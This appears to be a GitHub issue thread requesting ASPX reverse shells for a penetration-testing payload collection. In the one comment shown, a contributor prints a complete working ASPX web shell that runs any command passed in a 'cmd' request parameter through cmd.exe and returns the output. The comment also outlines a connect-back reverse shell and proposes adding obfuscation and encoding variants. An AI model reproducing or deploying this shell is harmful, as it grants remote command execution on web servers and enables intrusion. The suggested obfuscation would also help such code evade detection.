Add aspx reverse shells #204

Activity

1. bad-antics commented on Feb 1, 2026

   

   bad-antics

   on Feb 1, 2026

   More actions

   Great suggestion! ASPX shells are essential for IIS penetration testing. Here are some common ASPX reverse shell payloads that could be added:

   Basic ASPX Web Shell:

   <%@ Page Language="C#" %>
   <%@ Import Namespace="System.Diagnostics" %>
   <%
   string cmd = Request["cmd"];
   Process p = new Process();
   p.StartInfo.FileName = "cmd.exe";
   p.StartInfo.Arguments = "/c " + cmd;
   p.StartInfo.RedirectStandardOutput = true;
   p.StartInfo.UseShellExecute = false;
   p.Start();
   Response.Write(p.StandardOutput.ReadToEnd());
   %>

   ASPX Reverse Shell (connects back):
   Uses System.Net.Sockets.TcpClient to establish connection and System.Diagnostics.Process to spawn cmd.exe with redirected I/O.

   Considerations for implementation:

   • .NET Framework version targeting (2.0/4.0+)
   • x86 vs x64 worker process
   • Add encoding options (base64, URL encoding)
   • Include obfuscation variants

   Would be great alongside the existing PHP/Python/Bash shells!